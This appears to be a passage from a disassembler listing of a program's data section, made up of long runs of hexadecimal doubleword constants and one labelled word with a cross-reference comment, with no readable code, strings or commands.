		dd 0F825CB94h, 58179800h, 7850A18Eh, 0ADA62F70h, 0DB0BD0E0h
		dd 75F4B4Ch, 0A2469B33h, 4211E020h, 71800766h, 80E147A1h
		dd 74965C3Ch, 0F9409805h, 54804C12h, 0C92605h, 0E1EF1CBCh
		dd 0BF0D3ECEh, 821DBD00h, 0E925F046h, 0B7CA0F06h, 0CCE01204h
		dd 29481EFEh, 26DF5604h, 0B38041A3h, 1198E0h, 7D1C9B51h
		dd 9A5A937Ch, 0FDB35400h, 31D46BF4h, 0E96300EDh, 471F2E6Eh
		dd 0C9006F81h, 71567AFFh, 0FAA6418Fh, 310E0003h, 16CDCFACh
		dd 0D8C07ED8h, 12F4D1A7h, 562D00BCh, 0F3CE1BF2h, 50F0BD13h
		dd 0C111F803h, 0E3550CEAh, 39E1C1FEh, 0B8CDE0h,	0DAE5F310h
		dd 0B9C31132h, 420886E6h, 1E7D9FCh, 0B8F6E883h,	137FC833h
		dd 4804A900h, 6352A156h, 2E0B00DDh, 3A9C28EBh, 1590CE26h
		dd 9004078h, 0D2DBB2F7h, 15DE8A4h, 7157BE87h, 409EAE26h
		dd 5E8018BFh, 0C7015C7Ch, 7B103FF5h, 299FDE04h,	0A6A1C9B9h
		dd 1C0AA400h, 70EBCB36h, 8D2669D6h, 70071064h, 82E7E913h
		dd 11F5C020h, 0FEEB00E1h, 1261CAC6h, 58C7E738h,	0D640C97Eh
		dd 337B9Bh, 0CB1AB76Ch,	0D93AC7BBh, 0F724E200h,	576953B3h
		dd 34B2A1h, 0F6EDF487h,	60DC0A86h, 298C3C0Fh, 0D000323Dh
		dd 9C081017h, 48FF6046h, 3FC6FD16h, 80ABA320h, 386C4794h
		dd 0A801A55h, 31706810h, 749A2BA7h, 0AA0C3600h,	8F768221h
		dd 8E97008Ch, 4C4B77F0h, 0BA242667h, 38009C37h,	41E819BFh
		dd 79010054h, 64330351h, 82184707h, 0DADE8F7Eh,	0DB780088h
		dd 9B436FD1h, 2750E06Ah, 0B039DF6h, 5D8F96C1h, 40F9B8A7h
		dd 997E0035h, 3BCE21E4h, 4D1E0860h, 540AD4Ch, 4A7B2E53h
		dd 8C79E6h, 376A246Ch, 5B8F5EC5h, 8E7C2B3Ch, 69261819h
		dd 0AB3C8032h, 3D8F792h, 0F817A6C3h, 0D19985E3h, 0FE1DE0B2h
		dd 0F187CD00h, 18C8ACAh, 0BE191EF3h, 40B29FE6h,	0B710DFFDh
		dd 0B1008450h, 6D0B8AD6h, 180CACA3h, 0D20ABB05h, 5C00B936h
		dd 0C210264Ah, 0EE9CB8EFh, 44C60069h, 47BE7A07h, 900D5A8h
		dd 4192B158h, 26EAC524h, 0B99BA4h, 205DB836h, 7C072EBDh
		dd 6BD455FAh, 23273310h, 0D7DB00C6h, 0F54483C8h, 0CD006AE9h
		dd 0D50F3F03h, 0ED860D30h, 0E2A430h, 0A3F5193Dh, 56434BEh
		dd 0F9D9EA00h, 99300443h, 5BD098A6h, 72AFC33h, 85F7378Eh
		dd 9C2A45B0h, 0DC762404h, 3E638B5Ch, 0FEDCE38Eh, 19A34700h
		dd 90BABBC6h, 68091200h, 0E00A3BEFh, 56083833h,	300E1C4Ch
		dd 4B009CDCh, 2DCF0104h, 8252C909h, 0F2108066h,	0F4EF23h
		dd 7CBACA16h, 27FE90D5h, 9D7B4C03h, 98D8AD47h, 1E7EC620h
		dd 409B4B9Ah, 879E8375h, 7C006EE7h, 1804FB48h, 8179ABh
		dd 5D0FB303h, 6A88C246h, 54ED4507h, 0A0708DD3h,	39E059B0h
		dd 0C1000838h, 2CB7EB15h, 22009293h, 0BF4D132Dh, 0DA49DEh
		dd 73CA6639h, 5A9DED5Fh, 41BA39h, 7F06D845h, 0F390968h
		dd 0C9A13127h, 5BB65E21h
		dd 0E5C22084h, 0A085FF00h, 1D275C03h, 2EE97428h, 8014DD16h
		dd 0AEC8940Ah, 0AC006D59h, 9596318Eh, 704F48h, 8D36831Fh
		dd 73579F8Ch, 28ACB203h, 885B8081h, 2CA7B576h, 188F2Ch
		dd 1B07151h, 0B70B86F0h, 0A0369EEFh, 7E47B848h,	97FDEF61h
		dd 0B8F91BC0h, 0F8BA0184h, 0AC4E025Eh, 18109070h, 4A139E03h
		dd 2017C0E0h, 6440F65Bh, 14C5B233h, 3CE20057h, 7E49B8DEh
		dd 1004E63h, 6A3A1FC4h,	0A86BCB5h, 0F55B1C6Ch, 18E5171Ch
		dd 5E61F11Dh, 90D788CCh, 30595488h, 21FD2E4Dh, 0BF7F017Ch
		dd 71AADFEBh, 12355088h, 471EF5B5h, 27C0CC97h, 164BA34Fh
		dd 49FF3F7Bh, 0F46F3FF2h, 0EBA78680h, 81138CEDh, 0B8A6B600h
		dd 3635BC0Eh, 7E571612h, 5317000Ch, 40D3B50Bh, 307AD41Dh
		dd 0FBD25E1Fh, 0BFBE0B1Ch, 3B110F71h, 728D407Ch, 7D239Ch
		dd 8E4A6A53h, 0D09A394Bh, 26571300h, 5673D22Dh,	61B900E9h
		dd 47CD5876h, 71FC0CB3h, 6BBA8D00h, 544D0E68h, 79C4EA4Fh
		dd 7CFD0484h, 0A08BCD65h, 2B77E7D4h, 6C67B900h,	1A5F43E3h
		dd 0A89CABADh, 39D5ABh,	3AE52F01h, 1F64C1C0h, 0EACCAC05h
		dd 0AE805597h, 94495F3Bh, 0C1B712ECh, 0C0E49577h, 2E028A71h
		dd 0F55899FDh, 3954527Ch, 42B0CE0Bh, 672D5780h,	7CF63204h
		dd 90B03983h, 0D85E00B4h, 0EA6D9CA6h, 0C0C0684h, 48484DCEh
		dd 9BC500D9h, 0CC35A9A4h, 1A2AF170h, 63FE862h, 6C930194h
		dd 0E537BCF5h, 0F20825CFh, 8B1FC400h, 0F611709Bh, 401D8C3h
		dd 0A1CD5732h, 0D260AC61h, 9D6E4903h, 0A7E788FBh, 0D9BC0030h
		dd 350EF485h, 0EA608FF6h, 0A26B226h, 0A8B902CCh, 6469637Ah
		dd 25D6F460h, 0DD336E0Fh, 0FD0C608Ch, 3A2F73h, 463CDE94h
		dd 4132C9B6h, 0FFCC7E00h, 0B85855E6h, 7DA70062h, 3BD8478Fh
		dd 747D4C02h, 0CB9B8E28h, 887ECA00h, 8176DC14h,	802500B2h
		dd 6D231D8Fh, 386D5584h, 0B1030831h, 0BD100116h, 4F5C44FDh
		dd 4DACCC5Fh, 72CAD48h,	0B52010Ah, 0F102F0C0h, 894431BCh
		dd 11A94829h, 2C20708h,	0C22C543h, 21F4248Eh, 271212B9h
		dd 898CB410h, 84220820h, 51C49B22h, 0EC3128EFh,	11B52988h
		dd 0C0847F90h, 42B84890h, 73241E87h, 0D043BD40h, 811E242Ch
		dd 0D7EE0C6Eh, 25290Fh,	0EDBA0668h, 9DB20084h, 0A9D698EBh
		dd 0BF00A44Bh, 0E78BEEC0h, 6B5622h, 1EF3C1CCh, 8E87140Ch
		dd 21BA2000h, 42EB8D4h,	0C64D1E6Ah, 0F97D6A7h, 0A823D1B2h
		dd 7CC0C81Eh, 6407CCDDh, 0FB93F8E7h, 57797AA0h,	0E31C0014h
		dd 678B0BF5h, 6C005613h, 4DA8ABD4h, 0C4C76Eh, 3848EABFh
		dd 59B3F637h, 260FCDE0h, 80180EE0h, 0FA0C8B77h,	74190C22h
		dd 3658C916h, 0F43A2800h, 182AD4B3h, 3DB03888h,	8633900h
		dd 20418948h, 0FDBED800h, 0C04295B8h, 4EE3007Dh, 0EFA01AE1h
		dd 1E0E9F26h, 0E0362501h, 5D1354AEh, 26D2E638h,	125C7588h
		dd 9E2C5D40h, 980D8191h, 872AC197h, 0E94E360h, 790F1700h
		dd 6A41056Bh, 0C3C9156Fh, 598881A5h, 0A0000338h, 9974B666h
		dd 13E1A3Fh, 48936769h,	0E8C7D6E0h, 0DF46DCAh, 0C11E6092h
		dd 5000042Dh, 0D21DBC1Eh, 1207F42h, 0F9E79B61h,	308C7EC1h
		dd 0C7EC9FC9h, 4A62BA02h, 4055CC2Bh, 5DB133h, 0FFC4A349h
		dd 4F8816E7h, 0C032CB00h, 39952EEFh, 0DAD3D71h,	0F8314C01h
		dd 0DD2877A0h, 1D9AF8CDh, 0C446C70Fh, 0E6B84321h, 0F955C10Eh
		dd 11971180h, 0AD504BBFh, 3C7B3890h, 57A08700h,	7403E088h
		dd 1CD7005Dh, 0EAA434F7h, 0AF00BC68h, 3870A11Eh, 8AFFE2h
		dd 8817F156h, 45660C51h, 4E609E72h, 8F016040h, 163A01ACh
		dd 1DF9D256h, 91C0D329h, 5001CC39h, 0FDD6443h, 7AC88C75h
		dd 67EC2861h, 0ABF5009Ch, 580DCA4Fh, 0EF002A2Fh, 1CFF5132h
		dd 73DC3557h, 0F84A1FF7h, 9A1F94h, 689F8F24h, 96003AFEh
		dd 28911C30h, 0FC37FD66h, 6AC500DEh, 1177540Fh,	0F8BF6253h
		dd 0EADA0E6Eh, 4E809978h, 0B36A194Ch, 409E6905h, 79C3EEA3h
		dd 0FD28A8D2h, 0E7B70066h, 51C93CFCh, 0F512BF70h, 1C002C29h
		dd 5D0E570Ah, 0F87B016Ch, 619988DCh, 0EFBBC37Ah, 0E1655FD8h
		dd 807FFF38h, 17BC9DF5h, 1886BFE0h, 119BF397h, 0B000ADB8h
		dd 521628BDh, 0FDAF2Dh,	8CFB4689h, 6D3BC839h, 8C6F4Dh
		dd 117B3CAAh, 1FCBB12h,	0E03E292h, 0DCE95DF7h, 0C201DB7Ch
		dd 0C44C76B1h, 79E45448h, 80F00F2h, 94AF58A8h, 9E002EF7h
		dd 0E33DD320h, 7CE097Fh, 0CD9B2945h, 36605016h,	0FB38CA17h
		dd 4338F6Dh, 9F0032B0h,	9722DC34h, 7F5D003Dh, 0E689D931h
		dd 350B9CF4h, 80B1AA13h, 2B5C1563h, 0DE450038h,	9C086A7h
		dd 4A7FE43Eh, 4F17A800h, 127AD81Ah, 0E20E00C7h,	10C35BA7h
		dd 0BF0030F1h, 0D6BEEAE8h, 1DDEBA1Dh, 5CCF8FEh,	585753h
		dd 0FF444280h, 56007B0Bh, 34A6AE1Dh, 0EB0904h, 0B3642754h
		dd 7401C9F0h, 3BD61507h, 4E803892h, 0DE5543h, 0C237E728h
		dd 5358783Fh, 0ECDCF626h, 38D0A100h, 26A39C3h, 0C9F931CAh
		dd 506806A2h, 95005766h, 259ABAFFh, 21728DDh, 0A7086A93h
		dd 1562B553h, 0A0E70F5Dh, 0E76EFA1Fh, 0FC76DEh,	927AE1A7h
		dd 51CDE4B8h, 561BB900h, 4C4A6CEDh, 0A6DD0FF2h,	7CC442B6h
		dd 0CBCC807Ah, 140787B2h, 181E5CC5h, 6F26BF61h,	4F9E930h
		dd 9AEFB529h, 48F48583h, 0CD4089F0h, 0D00899h, 0CBA16F15h
		dd 344D61BBh, 4746C300h, 0CEC0A321h, 2F501E25h,	0A2544375h
		dd 93D8DD15h, 9C0001BBh, 0B5EAF9C7h, 0FDF5BCAh,	303FAD80h
		dd 37B90AA0h, 6709BBA4h, 8054C259h, 0CE183D70h,	98CA00EEh
		dd 0FFE815DAh, 9B0EC672h, 807A5173h, 5307CBA2h,	0E26EE819h
		dd 0CE250049h, 5D914ACAh, 9400F1EAh, 90F333FCh,	213773Bh
		dd 52FF1CFEh, 0DC60399Dh, 498881BEh, 497C7B19h,	0AE03DC8Ch
		dd 9A9F8225h, 5541113h,	6B4C4001h, 0C8412B8Ch, 19C8AEA8h
		dd 397E0093h, 108185DDh, 0FA1C532Eh, 0D7408946h, 0D2C5EF6h
		dd 4FB43F69h, 9013A8h, 8564262h, 35DD1E36h, 1C720A7Eh
		dd 3201397Dh, 26D88E5Ah, 0F6C44C5Fh, 359201E6h,	49F90F79h
		dd 618ECC9Eh, 0F20E5500h, 0D8C99180h, 84A100C6h, 0CB32B0EFh
		dd 8BF89865h, 4C8FA758h, 568048Eh, 0F4812F76h, 9C51CAB4h
		dd 10D1456Ah, 33F2DD0h,	0F0710F0Ah, 0EEA0AC11h,	0B600A16Eh
		dd 0E06C1E5Eh, 1993FFh,	6BD544B4h, 5D697F36h, 593B8600h
		dd 9F6FCD4Dh, 0B63500E6h
		db 0A4h, 0A6h
word_544F42	dw 92D6h		; DATA XREF: ___:off_4374C0o
		dd 6309C41Eh, 0A012D9B0h, 0EE31EA30h, 23CB021Bh, 903AFD70h
		dd 2D7EB0A0h, 4A00A135h, 7CD0BF1h, 0DF4160h, 0E6DC4769h
		dd 9B9CC8F7h, 0A3191C0Bh, 72DC1043h, 75E4007Ch,	51E23110h
		dd 0D200F0A5h, 9307747h, 0FBD494h, 7E988BAAh, 743A6DCBh
		dd 305048h, 2E465FD8h, 18761CDDh, 0F8F5027Fh, 9E78220Ah
		dd 706FF300h, 18758EECh, 6EEF26E0h, 0A39F000Bh,	2F040A1Eh
		dd 51C5FA00h, 6F489A96h, 43550383h, 0CCCFD013h,	7B11FCC8h
		dd 8040B438h, 980B1B32h, 0A5C419h, 9F42724Bh, 41CECA64h
		dd 1A38FD00h, 23758FEh,	7A0E3B53h, 54A49FBDh, 40A61DA4h
		dd 0DED0D114h, 0BDF89687h, 59FC2700h, 0FA3C7ED3h, 9BA30057h
		dd 0AF71F866h, 0F903F6D8h, 8D6FDEEEh, 88F0005Bh, 390F348Bh
		dd 2300D1D9h, 0C2297A8Eh, 0FBDA32h, 0DE7D9825h,	0CDD9F9FFh
		dd 9175C100h, 2E9EE072h, 82B400D8h, 0A2CF6B8Ah,	59005D2Bh
		dd 1EC67152h, 1D91585h,	0C2CC3E23h, 0E8218D9Ah,	0A407E57Fh
		dd 342EE14h, 643F7A40h,	237100ADh, 670C2120h, 0E607C0A6h
		dd 0E8173A4Ah, 3FC08E27h, 0C8F819h, 228A6998h, 40B0E02Fh
		dd 0E13E3698h, 0D2978191h, 0C059B8C9h, 0E8FD7060h, 0CB7ED3h
		dd 37F51029h, 1673650Dh, 0AA09F100h, 7517657h, 0E2C30E1Dh
		dd 9460D25Ch, 8727D8C4h, 0CD2BDF18h, 3D159719h,	0A9003FEDh
		dd 0E3ADB2BDh, 0A27D3052h, 6A2F4B00h, 62D09CA7h, 40F50E8Fh
		dd 0B3403D56h, 8E9108AFh, 8330BAA0h, 0D6C0750Eh, 221A4931h
		dd 0C868727Ch, 55229F4h, 136BF04Bh, 6F0083C6h, 0BE1AC4D8h
		dd 0ABF3E007h, 55D049B2h, 48C0DFA8h, 0B326EAC8h, 12FC3F28h
		dd 0C2F7ABA4h, 80669264h, 7D553E20h, 0FDCF00BCh, 0AE511B67h
		dd 0FF1FAC2Ch, 0DA66EA73h, 305A01Fh, 0A8005F89h, 9DB80599h
		dd 58BE03DBh, 3F5E1CBCh, 4E8F99Ah, 0C1037E95h, 6862E93Ah
		dd 558B6Ah, 94AEC6D0h, 72C0DE38h, 0DFFB9A03h, 0C0CF3591h
		dd 0FB75907Ch, 0F8B71C20h, 85F08Ah, 2673AD1Ch, 2A8D82F9h
		dd 0E5370D00h, 6207EACAh, 0AFB62C01h, 0A7940594h, 0EA6C449Eh
		dd 5B4A0045h, 331301h, 0ED4F9D7Dh, 0E76BBF09h, 86056098h
		dd 3444D0EBh, 2EEFD003h, 23B6808Ch, 980C00DBh, 0E5A53F9Eh
		dd 263BAC4Dh, 88860035h, 6FFC4B56h, 7AC31F5Fh, 0CE59C00Ch
		dd 0A75EB179h, 0B9B67105h, 0B380E96Ah, 0A36603h, 2E70EC0Ah
		dd 0C63EAF2h, 0AA7E2DFCh, 4B01367Fh, 9124F1B6h,	0E7C4DA77h
		dd 0EF5800D6h, 54B45037h, 0D8006DA1h, 0CBB763BEh, 17DB0BABh
		dd 1B666Fh, 1FC63EE7h, 6D0E5EEEh, 0C0A9C909h, 29118E87h
		dd 7B401FD6h, 0F18040C5h, 99E24F34h, 7E002FF0h,	22B5BE43h
		dd 7A688F3h, 93AC04F6h,	84C1A0FCh, 0A0593F80h, 0A8D907A8h
		dd 803E28E9h, 0BDF836A6h, 1277E8ACh, 2D9A90h, 7F2BC33Fh
		dd 0F7909B1Fh, 16A248h,	93B8A90Eh, 9DDD9FAh, 0DAD3CDF1h
		dd 3D521100h, 10C07194h, 3459C049h, 99FB00B9h, 0BD6A6E57h
		dd 0CA09CCEBh, 80D33D9Ah, 0DABAB402h, 20650218h, 933789BFh
		dd 0F138B680h, 3548969Ah, 311800FFh, 0F2145563h, 0E0AD0302h
		dd 0F1B42844h, 7B16D9C0h, 198DAC31h, 58802AAFh,	272D9285h
		dd 0D90072B6h, 8EDF8F74h, 73829E7Dh, 0A100B8D3h, 3987EF28h
		dd 0D0144F4Dh, 347F961Bh, 24CAD75Ch, 8F01B568h,	3F41DF93h
		dd 783660E0h, 0C6FE00F2h, 951EAACh, 9D3D3280h, 6D3180CFh
		dd 0E9AACD48h, 23470050h, 0A1C12BE1h, 26006A8Ch, 0E0EA6D80h
		dd 0B12E8Eh, 5F139A0Dh,	17F0BA7h, 4F062B00h, 16E3E80Eh
		dd 3CFED1h, 7CC14DA4h, 659CEF79h, 214A9602h, 0E1BDE883h
		dd 188077EAh, 26DFB891h, 0BB7B6FBAh, 7C3ECF0Eh,	1F84A054h
		dd 1F12EB6Dh, 5EDB1BD4h, 0D8FBC02Ch, 750D6815h,	0DC264800h
		dd 0CCE2A81Fh, 1C6400F4h, 8CB773E6h, 0CF24F1E3h, 3407C2EFh
		dd 0C5308E08h, 0C76440h, 654ABAAh, 8607B66Ah, 482E7D07h
		dd 110A4FBh, 438BF1h, 7264506Fh, 0BD161D13h, 296BFC00h
		dd 0D7BE96D9h, 62120045h, 0CC4B98A3h, 25024328h, 0AEC3EB11h
		dd 90C4E987h, 20A072FEh, 1B002F89h, 47CD2E7Eh, 35F5E46h
		dd 59B2861Eh, 0A081F29Eh, 0BD0460E3h, 0BB81801Fh, 88AAF9C0h
		dd 3E61F1h, 0D48D6736h,	0EC7471CCh, 77581F90h, 4DE300E8h
		dd 0F63763CAh, 789884h,	1C19397Ch, 20732DA8h, 48AB0600h
		dd 3E97104Eh, 64FE05CFh, 0C3EC5071h, 32C80E14h,	0EA1221D6h
		dd 19004058h, 55B6DAF4h, 0D55914F2h, 1703B5E8h,	9D79A876h
		dd 0FE0DC9A1h, 0FE28E4E0h, 0C28F610Fh, 2FE6A2B1h, 982CC32Eh
		dd 18740EDFh, 0D8E22881h, 0FA00F747h, 3943C55Dh, 3F0CA6CCh
		dd 7C806983h, 9F28F80h,	0CE049884h, 44919E86h, 91EF10F0h
		dd 54D807F8h, 0C4C405ADh, 3E28C137h, 2910048h, 0D09E03B5h
		dd 10EE41C8h, 6BE068DAh, 0F959A6A5h, 0BEBF1434h, 191300FEh
		dd 92BC30E0h, 42749EC2h, 0A3070201h, 842552F0h,	0D79303A1h
		dd 0BDB694F1h, 6ADBC0DFh, 8500CED9h, 5E143C07h,	0E7200390h
		dd 19BCAECh, 3B62BDF4h,	804F66DDh, 1BC36078h, 0F810F8C7h
		dd 0F226009Dh, 11097A52h, 30079F05h, 717957F5h,	142B80BEh
		dd 0F68859B9h, 5CE00F15h, 37A0B219h, 7FC512FAh,	6E58BA00h
		dd 313D8520h, 0DF19018Dh, 0D66273C2h, 368C4EBh,	0F0DE9400h
		dd 58CF841Eh, 358B804h,	4057A7B6h, 0A4D88A22h, 7007FF0h
		dd 0D2B26E23h, 0E6BC6BC8h, 0D52C008Bh, 0D6BFDA6Fh, 5A00ACEAh
		dd 0A2996DC3h, 1B2CB6Ch, 24487D21h, 0C8D29AE9h,	0FD7E1251h
		dd 34DD9D00h, 234278BFh, 0EC5F00A2h, 38CE63C5h,	94000FF7h
		dd 0D647BD9h, 0CC41B6BEh, 6DC21AC4h, 48C0DD05h,	0D40301C3h
		dd 0FBD46FCAh, 8072F310h, 3CD346B0h, 6C00111Dh,	0C8E9C60Ah
		dd 98002926h, 0B116723Ch, 0ED9B56h, 0FF835FE4h,	818FFDBAh
		dd 6D78A00h, 76DC940h, 5B6500D6h, 73D49CBBh, 8700C0C6h
		dd 4610AA19h, 6F2A15h, 0F41F2FECh, 0C656C2AFh, 28D91101h
		dd 4EB5AAE5h, 1EDAF7E0h, 1F15E22Eh, 96803ED6h, 0B4111E33h
		dd 0FC1FF19Ah, 8C03E89h, 77F41DA3h, 0BEEC00CCh,	1A720416h
		dd 2907991Bh, 7A7FB0E3h, 0DD6348C0h, 61E5077Ch,	8069DB43h
		dd 91D5D1E7h, 0C100AF78h, 3BD7CF08h, 174E55Dh, 0E32B7A0Eh
		dd 0F8420640h, 910C661Ah, 10098A85h, 0C96002AAh, 0CAB27EC1h
		dd 0D062BEC0h, 0FE6DC006h, 0E4E06ABCh, 0D5F83979h, 4075851Fh
		dd 45176FF9h, 8C00A2A4h, 54D33B69h, 0D1DF50h, 0AD3371F6h
		dd 39267704h, 6BBD3700h, 20101449h, 8D8E0092h, 67429302h
		dd 5801B098h, 0F4B1378Ch, 29F8234Bh, 40B30E63h,	0AC206084h
		dd 78E801A6h, 47676100h, 0FBC47DB7h, 5F0007Eh, 0B50F6F57h
		dd 3700AD3Ah, 155C74B3h, 3B9334h, 0A76314F2h, 0FBB05E3Ch
		dd 8243710Ch, 77D06Eh, 8EFAD72Ch, 8110B9FEh, 0EDD21D0Fh
		dd 12BF0025h, 0DD1A87h,	0AD1E0DECh, 0B9468ABEh,	5971DB00h
		dd 3DD5F1C4h, 70CA60B0h, 2655345Fh, 0C2D81750h,	9B30B370h
		dd 0F65B68E2h, 0B83CEAB8h, 26D802A8h, 9A64CF5Eh, 31E4D040h
		dd 6DF2FE0Fh, 97D0039h,	0E03CC51h, 0CB41E2A7h, 606032A7h
		dd 8B273CE4h, 2E061700h, 9D2DCDF3h, 7AA23F16h, 0BCD2CE8Bh
		dd 62C45780h, 0A40082CBh, 349F568Ch, 0EC57C830h, 0EB48309Dh
		dd 33AF5190h, 13F390A0h, 0E5B0734Eh, 123A7896h,	755710Dh
		dd 0C0B21D6Bh, 0B74540FEh, 5E280700h, 3C4FF114h, 330E00BEh
		dd 73841F5Dh, 6748ED2Bh
		dd 38511E94h, 0ABAC6C80h, 46AD80Fh, 34146E6h, 2F608777h
		dd 63EF18B8h, 0D4BFCF00h, 5B780D14h, 0FE9E1497h, 3600A681h
		dd 0F36FF8C9h, 1605C879h, 27394907h, 64249C00h,	3F84E6F7h
		dd 9680253Bh, 238CB450h, 0E1C0D8FAh, 42C43FE1h,	0E4431E0Bh
		dd 0C328C3E2h, 0DEC00A45h, 251FE5E0h, 88C00DBAh, 67B5D16Dh
		dd 8E781237h, 6E384783h, 928D673Eh, 0CB63A2F3h,	4781E109h
		dd 7D0480CFh, 1DD85182h, 80346FFBh, 0EE7BB440h,	41318A7Ah
		dd 8CBEFCCCh, 0C1CC17F5h, 0D8DF6007h, 426EFB6Bh, 0ECA49F0Fh
		dd 0DA7A066h, 3962D99h,	88821578h, 6CB858F7h, 39000756h
		dd 4D5EB61Eh, 0E6FE1Fh,	2953841h, 801AEFD2h, 0A26E4400h
		dd 57F3CFF7h, 595416B8h, 0C0851ECCh, 807863A6h,	0E200B44Dh
		dd 4C91CE64h, 0E49A582h, 59CA6029h, 0D0099587h,	0D5ADAFE9h
		dd 89544B00h, 557EB2B6h, 0C30B3AFDh, 6F92B01h, 0D032220Ah
		dd 5200B66Fh, 0D13EF795h, 39BB090Dh, 10804F5Eh,	0B1AE9947h
		dd 5F0073CDh, 0B394B87Ch, 0A93A09h, 0A6F582D7h,	3C89E734h
		dd 0B5DDF04h, 80EE742Eh, 0A40C66DEh, 0EF033800h, 0AFE6C76Bh
		dd 0EE8F00D7h, 0CE24A986h, 5B003015h, 0A08B8E6Ah, 161A788h
		dd 0E4256CB6h, 80D844E5h, 74AF8448h, 0BEDE0h, 3F53F6C4h
		dd 451266A6h, 0E8206900h, 1770BA23h, 0C4F4009Dh, 0C7528692h
		dd 48009435h, 0AACA7BFFh, 60875B24h, 61B3702Fh,	0EB001364h
		dd 0CC14FFBh, 0A38B74h,	97AF877Eh, 0A08870DDh, 0D5006878h
		dd 34FAE71Dh, 7F1E2150h, 0A8A6021Ch, 4B737118h,	0E2C88040h
		dd 49D65C00h, 0FB7E5B67h, 5EDA036Ah, 0FF7145A3h, 0F2C08CEBh
		dd 0A89846ABh, 0AA56EB00h, 21442FB8h, 0D37BB9h,	0BE630850h
		dd 3AA2689Fh, 3600D098h, 6074C981h, 276F7Dh, 84C43F1h
		dd 0B223A4F2h, 0F43F4824h, 6B0CF800h, 2672F31h,	5587D19Bh
		dd 58606C0Eh, 5A00A103h, 3D731B66h, 91FD8Dh, 72A26A45h
		dd 4ED33F23h, 9A0058F2h, 0A7228131h, 0FF6D62h, 157785CDh
		dd 2E8399B2h, 0F3791101h, 12427150h, 74A68C30h,	0E82900B6h
		dd 0BD4FBB17h, 3E00D9F6h, 8F4D99C6h, 0C0ABE0C7h, 9818DCF0h
		dd 491FFE74h, 65C2A720h, 40D84275h, 75B0A50Ch, 113C604Ah
		dd 0D9511D9Ch, 164F4D00h, 0C415DF39h, 533A0065h, 0D2D7B434h
		dd 454DD468h, 3F6D1FC8h, 4EF47F07h, 0B310E1E7h,	178A8ADh
		dd 0F28A5D35h, 0C4E4DA37h, 297A05B9h, 10875700h, 3D9D286Ch
		dd 0AC1C3FCFh, 65E08100h, 79FD5091h, 0F73BBC00h, 98D2BE74h
		dd 52E8E7h, 4A45FC68h, 0A4476020h, 420096EEh, 396AAE62h
		dd 9BB5AFh, 0D198F890h,	445BACB3h, 849AA00Fh, 1AA2A031h
		dd 0B32B6C2h, 0D6060188h, 0F5C96700h, 0B1FE967h, 0C39FA373h
		dd 2C95F940h, 239CD86h,	0C67AD68Dh, 8040B731h, 0D21EBA11h
		dd 19C00F1Ah, 1EAC07Eh,	305500CEh, 0A9254DF9h, 8F7D5080h
		dd 247F327Ah, 8813B400h, 66F6E01Dh, 701E0ED3h, 0EBA5D623h
		dd 0F408C05Ah, 0CE7D4C37h, 0AE6C2416h, 0C94B1403h, 0AC66C01Dh
		dd 424500E8h, 524195D0h, 941634B0h, 3042F73Ch, 609B2C1Fh
		dd 637C0CDAh, 3FA5B1D8h, 0AE3912D8h, 0A95D6100h, 888A3B63h
		dd 3C4B4C81h, 44B4CD18h, 8E74A347h, 9BB11000h, 6243CBEh
		dd 948B0FC7h, 3D616241h, 0E4C6BCE1h, 7E021D9h, 0CC13327Bh
		dd 0C4001D11h, 0C1BE3531h, 3811C21Ch, 1360BA30h, 3700C5CBh
		dd 7ED26AB2h, 0E07DC2h,	0E5E69660h, 8C863F6Fh, 635E8D02h
		dd 8037A7ADh, 535104CFh, 48F41E21h, 296DC069h, 0A0C3868Ch
		dd 0AB509D00h, 8B9CFD31h, 0C2690040h, 46EC5E4Dh, 21F0D7B7h
		dd 0F218513Eh, 4393AA00h, 0B2843766h, 48622AE0h, 712F73B8h
		dd 0DB6100C9h, 0C481A5A7h, 48009CCEh, 7EADA468h, 0A885C7BDh
		dd 7363BB9Ch, 559103CBh, 68BCAEDCh, 5F8FC5F8h, 0C101ABFAh
		dd 4FF385FEh, 602816B1h, 96C05B07h, 58704C33h, 81C8E63Eh
		dd 0C4C6376Bh, 18838431h, 0B98E27B8h, 2AEBF9A0h, 0B0313461h
		dd 49BA6EF1h, 7F540EF0h, 9D8008F3h, 44DFB33Eh, 4E92BC00h
		dd 60FC127Ah, 6BC50005h, 10F3571Bh, 6E74DA54h, 0EB80340Dh
		dd 38105848h, 60537466h, 0F38850F5h, 1850B151h,	3100ED5Ch
		dd 0F96D634h, 0E89EDE8Ch, 2EDC138Eh, 45E040F0h,	576225D4h
		dd 0B8A36F01h, 6D5547A4h, 0FFB8130h, 524CE685h,	2AE8AD20h
		dd 0AB00A4BCh, 0B50B366Bh, 1B973Eh, 6E91205Dh, 0BD823F24h
		dd 0B46C7A00h, 0F8691D23h, 725100B5h, 2695FD9Fh, 34FE48BEh
		dd 0B9080300h, 28E9D33Eh, 7F37787h, 69F794CBh, 0ED82401Fh
		dd 0F0A84E18h, 1B1F537Ch, 9D405F80h, 88E21345h,	668C001Ch
		dd 0BBC8BAF0h, 55004005h, 542469F3h, 0A199ED7Ah, 4F0844DCh
		dd 0B62D7D00h, 0EF8E67B8h, 89766B0h, 7500214Bh,	997F2D85h
		dd 0C2E7125h, 0C2E215B3h, 140CB60h, 4048FA31h, 7260BF3Ah
		dd 0F0162738h, 4B52152Dh, 747CBC70h, 608B7AC2h,	880C11EBh
		dd 6506C31Ah, 6D6E3773h, 0DC64E109h, 1A7F06ACh,	9135454Ah
		dd 1CDEE600h, 1FDDE98Dh, 60416349h, 21013844h, 99EA838Bh
		dd 7AF4E9FAh, 984D5418h, 0E0AC1C30h, 519D4052h,	88602263h
		dd 9E9E1124h, 23C82E03h, 0D4D01209h, 6D770CECh,	8FB78AB9h
		dd 53E0208Ah, 0CDB0EB57h, 0DCC98508h, 4300F2BEh, 10BDB524h
		dd 142504DDh, 0B85AF575h, 0F8816905h, 0BA90002Bh, 460561Bh
		dd 37A61107h, 6623D4AEh, 0ACD9D0DDh, 0FE6A013Ch, 0FB3D8515h
		dd 0D6D5C8B5h, 0EA9FF800h, 72390ACDh, 8F83002Ch, 1DAA47A5h
		dd 5D13BFF6h, 14035195h, 807394E1h, 1D8BF428h, 0A624F8A6h
		dd 2B7B00A9h, 74951B7Eh, 91005F77h, 2472C111h, 0E72359h
		dd 7AF9527Fh, 4A863135h, 0A73EF00h, 0D9AD8B87h,	58AB0F18h
		dd 4680BE78h, 2E2006BFh, 1F0F4C7Eh, 0C359D35Ch,	9BE53FECh
		dd 5B23B0B2h, 0CCF44Bh,	902B68F2h, 0F14CD1A6h, 34C9EE19h
		dd 21805D08h, 0EC90228Fh, 0DB78DF9Ah, 9700487Ch, 0FD2A624Dh
